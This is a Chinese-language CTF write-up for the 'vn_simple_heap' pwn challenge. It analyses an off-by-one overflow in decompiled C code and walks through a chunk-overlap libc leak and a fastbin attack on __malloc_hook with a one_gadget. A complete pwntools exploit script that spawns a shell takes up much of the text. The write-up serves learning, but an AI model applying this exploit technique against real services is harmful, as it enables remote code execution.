vn_simple_heap writeup (off by one)
0x10 漏洞原因分析
查看保护,发现保护全开
查看Add函数
signed int sub_AFF()
{
signed int result; // eax
int v1; // [rsp+8h] [rbp-8h]
signed int v2; // [rsp+Ch] [rbp-4h]
v1 = sub_AB2();
if ( v1 == -1 )
return puts("Full");
printf("size?");
result = sub_9EA();
v2 = result;
if ( result > 0 && result <= 0x6F ) // 0 < size <= 0x6f
{
content[v1] = malloc(result);
if ( !content[v1] )
{
puts("Something Wrong!");
exit(-1);
}
size[v1] = v2;
printf("content:");
read(0, content[v1], size[v1]);
result = puts("Done!");
}
return result;
}
本身的Add 函数是没有任何问题的
继续跟进edit函数
int sub_CBB()
{
signed int v1; // [rsp+Ch] [rbp-4h]
printf("idx?");
v1 = sub_9EA();
if ( v1 < 0 || v1 > 9 || !content[v1] )
exit(0);
printf("content:");
sub_C39(content[v1], size[v1]); // any content lenth can be wirte
return puts("Done!");
}
跟进edit函数后发现其中调用了一个sub_C39()这个函数
继续跟进
unsigned __int64 __fastcall sub_C39(__int64 a1, int a2)
{
unsigned __int64 result; // rax
unsigned int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; ; ++i )
{
result = i;
if ( i > a2 )
break;
if ( !read(0, (i + a1), 1uLL) )
exit(0);
if ( *(i + a1) == 10 ) //将 '\n' 这个字符替换成'\x00'
{
result = i + a1;
*result = 0;
return result;
}
}
return result;
}
我们仔细分析流程可以发现,如果当a2=2时,也就是i=3是才会跳出循环
也就是我们总共循环了3次,读入了3个字符,而我们设置的size为2,多读入了一个字符造成堆溢出
Free 函数
int delete()
{
signed int v1; // [rsp+Ch] [rbp-4h]
printf("idx?");
v1 = sub_9EA();
if ( v1 < 0 || v1 > 9 || !content[v1] )
exit(0);
free(content[v1]); //未置指针
content[v1] = 0LL;
size[v1] = 0;
return puts("Done!");
}
可通过Show函数泄漏地址出来
0x20 漏洞利用
由于可以多读入一个字符,加上我们知道的chunk结构,我们可以使用这个字符更改到chunk的size位,来构造申请到更大的chunk(0xff)之内,但由于文件保护全开,我们的思路就固定了打 __free_hook
or __malloc__hook
- 申请到unsortbins, 由于delete函数的缺陷,我们可以把
libc_base
泄漏出来 - free 时如果堆块的
pre_inuse
位为0的话,那么堆块就会触发前向合并(向物理高地址)也就是向上一个堆块合并 realloc
调节栈帧
攻击 malloc_hook
利用
- 申请四个堆块,并通过
off by one
修改第二个堆块的size
(fake_size = size1 + size2 > 0x80) - 删除堆块1使其被释放进入
unsortbin
- 将堆块1申请回来,此时由于unsortbin里面有一个chunk 因此会从unsortbin里分割出一个0x70大小的chunk出来
- 由于分走了一个0x70的块,下一个块即chunk2的fd 和bk 就会存放main_arena 结构体指针,而我们没有释放chunk2,所以全局变量中还存有chunk2的堆指针,我们就可以通过show函数来进行地址泄漏
- 得到泄漏的地址后,我们在申请一个块来把unsortbin申请完,此时我们申请的这个块与chunk2是指向同一块堆内存的,此时如果我们再次释放chunk2,我们就可以得到一个循环链表即 chunk2的 fd->bk->fd
- 此时如果我们修改chunk2的fd指针为
malloc_hook
以上的一个地址(要保证有一个0x7f的一个size)那么,我们第一次申请0x70大小的堆块时我们就会得到bk所指向的地址,再一次申请0x70大小的块时,我们就会得到fd即malloc_hook
上方的一个地址
#!/usr/bin/env python
#-*-coding:utf-8-*-
from pwn import *
proc="vn_pwn_simpleHeap"
context.update(arch = 'amd64', os = 'linux', timeout = 1)
elf=ELF(proc)
#libc = ELF('./libc-2-23.so')
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
context.log_level="debug"
def add(size,content,):
sh.sendlineafter("choice:","1")
sh.sendlineafter("size?",str(size))
sh.sendlineafter("content:",content)
def edit(index,content):
sh.sendlineafter("choice:","2")
sh.sendlineafter("idx?",str(index))
sh.sendlineafter("content:",content)
def show(index):
sh.sendlineafter("choice:","3")
sh.sendlineafter("idx?",str(index))
def delete(index):
sh.sendlineafter("choice:","4")
sh.sendlineafter("idx?",str(index))
def pwn(ip,port,debug):
global sh
if debug==1:
sh=process(proc)
else:
sh=remote(ip,port)
#payload=
add(0x18,"f0und")#0
add(0x68,"aaaa")#1
add(0x68,'aaaa')#2
add(0x18,'aaaa')#3
#fake_size= size1 + size2 (contine size of head)
edit(0,"a"*0x18+"\xe1")
delete(1)
add(0x68,"aaa")#get chunk1
show(2)
libc_base = u64(sh.recvuntil('\x7f').ljust(8,'\x00'))-0x3c4b78
log.info("libc_base:"+hex(libc_base))
malloc_hook=libc_base + libc.symbols['__malloc_hook']
free_hook = libc_base + libc.symbols['__free_hook']
one = libc_base + 0x4527a
realloc = libc_base + libc.symbols['__libc_realloc']
log.info("malloc_hook: " +hex(malloc_hook))
log.info("realloc_hook: "+hex(realloc))
add(0x68,'aaaaa')#2
delete(2)
edit(4,p64(malloc_hook-0x23))
add(0x60,"")
add(0x68,'a' * (0x13-8) + p64(one)+p64(realloc+13))
#add(0x68,"11")
sh.sendlineafter("choice: ","1")
sh.sendlineafter("size?",'28')
#gdb.attach(sh)
sh.interactive()
if __name__ == "__main__":
pwn(0,0,1)